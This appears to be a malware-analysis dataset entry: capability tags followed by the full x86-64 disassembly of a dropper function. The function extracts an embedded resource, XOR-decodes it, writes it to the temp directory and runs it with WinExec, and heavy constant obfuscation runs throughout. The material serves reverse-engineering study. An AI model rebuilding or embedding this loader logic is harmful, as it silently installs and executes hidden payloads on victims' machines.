Function at 0x140002e30
Capabilities:
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x328
mov rsi, rcx
mov ecx, 0x17
call fcn.1400027a0
mov rdi, rax
mov ecx, 0x45ca511b
mov edx, 0x73
call fcn.1400027a0
mov rbx, rax
mov ecx, 0xe5
mov edx, 0xa7
call fcn.1400027a0
mov byte [rsp + 0x20], al
lea rcx, [0x140005008]
lea rdx, [rsp + 0xf0]
mov r8, rdi
mov r9, rbx
call fcn.1400027b0
mov ecx, 0x100
mov rdx, rax
mov r8, rax
call fcn.1400027a0
lea rdi, [rsp + 0x220]
mov ecx, eax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._s_s
lea r9, [0x14000614c]
mov rcx, rdi
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x72
mov r8d, 0xa
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
sete byte [rsp + 0x43]
cmp byte [rsp + 0x43], 0
jne 0x1400034d7
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x44], eax
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov edi, dword [rsp + 0x44]
mov rcx, rdi
call fcn.1400027a0
mov rbx, rax
mov ecx, 0x1000
call fcn.1400027a0
mov rsi, rax
mov ecx, 4
call fcn.1400027a0
xor ecx, ecx
mov rdx, rbx
mov r8d, esi
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
mov rdx, r14
mov r8, rdi
call fcn.140002770
lea rcx, [0x14000614c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov edx, 0x8e
xor ecx, ecx
call fcn.1400027a0
cmp esi, eax
jne 0x140002fd8
mov rsi, qword [rsp + 0x50]
mov ecx, 0x30
mov edx, 0xfc
call fcn.1400027a0
lea r8, str.Error
xor ecx, ecx
mov rdx, rsi
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140003493
mov esi, dword [rsp + 0x44]
mov ecx, 5
mov edx, 0xce
mov r8d, 0xd4
call fcn.1400027a0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x68], rdx
cmp esi, eax
jbe 0x140003309
mov rax, qword [rsp + 0x50]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov edx, 0x99
call fcn.1400027a0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x68], rdx
cmp esi, eax
jne 0x140003309
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movzx ebx, byte [rax]
mov byte [rsp + 0x42], bl
movzx eax, byte [rsp + 0x42]
mov edi, dword [rsp + 0x44]
sub edi, eax
mov ecx, 0xfffffffc
call fcn.1400027a0
add eax, edi
mov dword [rsp + 0x4c], eax
movzx ebp, byte [rsp + 0x42]
xor ecx, ecx
mov edx, ebx
call fcn.1400027a0
mov rsi, rax
mov ecx, 4
mov edx, 0x2d
call fcn.1400027a0
cmp bpl, sil
je 0x140003441
cmp edi, eax
jle 0x140003441
movzx esi, byte [rsp + 0x42]
mov qword [rsp + 0x78], rsi
mov rdi, qword [rsp + 0x78]
mov ecx, 4
mov edx, esi
call fcn.1400027a0
add rax, rdi
add rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x4c]
mov qword [rsp + 0xc0], rax
mov rdi, qword [rsp + 0xc0]
mov ecx, 1
mov edx, esi
call fcn.1400027a0
and rax, rdi
mov qword [rsp + 0xd8], rax
mov ebx, dword [rsp + 0x4c]
mov ecx, 1
mov edx, 0xd2
call fcn.1400027a0
mov rdi, rax
mov edx, 0x44
mov r8d, 0xbe
xor ecx, ecx
mov r9d, esi
call fcn.1400027a0
mov qword [rsp + 0x98], rax
xor ecx, ecx
call fcn.1400027a0
mov qword [rsp + 0x90], rax
cmp ebx, edi
je 0x140003271
mov rsi, qword [rsp + 0xc0]
mov ecx, 0xfffffffe
call fcn.1400027a0
and rax, rsi
mov qword [rsp + 0xe0], rax
xor r14d, r14d
mov r8d, 0x97
xor ecx, ecx
mov rdx, rsi
mov r9, rsi
call fcn.1400027a0
mov qword [rsp + 0xb0], rax
xor ecx, ecx
call fcn.1400027a0
mov qword [rsp + 0xa8], rax
xor ecx, ecx
mov rdx, rsi
call fcn.1400027a0
mov qword [rsp + 0xa0], rax
nop word [rax + rax]
mov r15, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb0]
cmp rbx, qword [rsp + 0x78]
cmovae rbx, r14
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rax + rsi]
mov rdx, qword [rsp + 0x70]
xor cl, byte [rdx + rbx]
mov byte [rax + rsi], cl
mov ecx, 1
mov rdx, r15
call fcn.1400027a0
mov rdi, rax
add rdi, rbx
mov ecx, 1
call fcn.1400027a0
or rax, rsi
cmp rdi, qword [rsp + 0x78]
cmovae rdi, r14
mov rcx, qword [rsp + 0x58]
movzx edx, byte [rcx + rax]
mov rbp, qword [rsp + 0x70]
xor dl, byte [rbp + rdi]
mov byte [rcx + rax], dl
inc rdi
mov ecx, 2
mov edx, 0x84
mov r8, r15
call fcn.1400027a0
mov rbx, rax
add rbx, rsi
mov ecx, 2
call fcn.1400027a0
add rax, r15
cmp rax, qword [rsp + 0xe0]
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x90], rbx
jne 0x1400031a0
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0xe8], r8
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xc8], rax
mov rsi, qword [rsp + 0xd8]
mov edx, 0xf3
xor ecx, ecx
call fcn.1400027a0
mov ecx, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x68], rdx
cmp rsi, rax
je 0x140003309
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xc8]
cmp rcx, rax
jae 0x1400032d8
mov rax, qword [rsp + 0xc8]
jmp 0x1400032da
xor eax, eax
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0xe8]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x70]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xd0], rax
mov edx, dword [rsp + 0x48]
mov dword [rsp + 0x64], edx
mov rsi, qword [rsp + 0xd0]
mov edi, dword [rsp + 0x64]
xor ecx, ecx
mov r8d, edx
call fcn.1400027a0
cmp edi, eax
jle 0x140003441
test rsi, rsi
je 0x140003441
mov ecx, 0xc0000000
mov edx, 0xf2
call fcn.1400027a0
mov rsi, rax
mov ecx, 3
mov edx, 0x36
mov r8d, 0xf9
mov r9d, 0x4d
call fcn.1400027a0
mov rdi, rax
mov ecx, 2
mov edx, 0x89
mov r8d, 0x1a
call fcn.1400027a0
mov rbx, rax
mov ecx, 0x80
mov edx, 0x1f
call fcn.1400027a0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x220]
mov edx, esi
mov r8d, edi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
inc rax
cmp rax, 2
jb 0x140003441
mov edx, 0x87
xor ecx, ecx
call fcn.1400027a0
mov dword [rsp + 0x120], eax
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0xd0]
mov ecx, dword [rsp + 0x64]
mov edx, 0x8a
mov r8d, 0xab
call fcn.1400027a0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x120]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov esi, eax
lea r8, [0x14000614c]
lea rdi, [rsp + 0x120]
lea rdx, [rsp + 0xf0]
lea r9, [rsp + 0x220]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x14
xor ecx, ecx
mov r8d, esi
call fcn.1400027a0
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rsi, qword [rsp + 0x50]
mov edx, 0xb438e4
mov r8d, 0x83
mov r9d, 0xb7
xor ecx, ecx
call fcn.1400027a0
mov rdi, rax
mov ecx, 0x10000
mov edx, 0xfb
mov r8d, 0x7d
call fcn.1400027a0
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx ebx, byte [rsp + 0x43]
mov ecx, 1
mov r8d, 0x8e
mov edx, ebx
call fcn.1400027a0
xor al, bl
movzx eax, al
and eax, 1
add rsp, 0x328
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret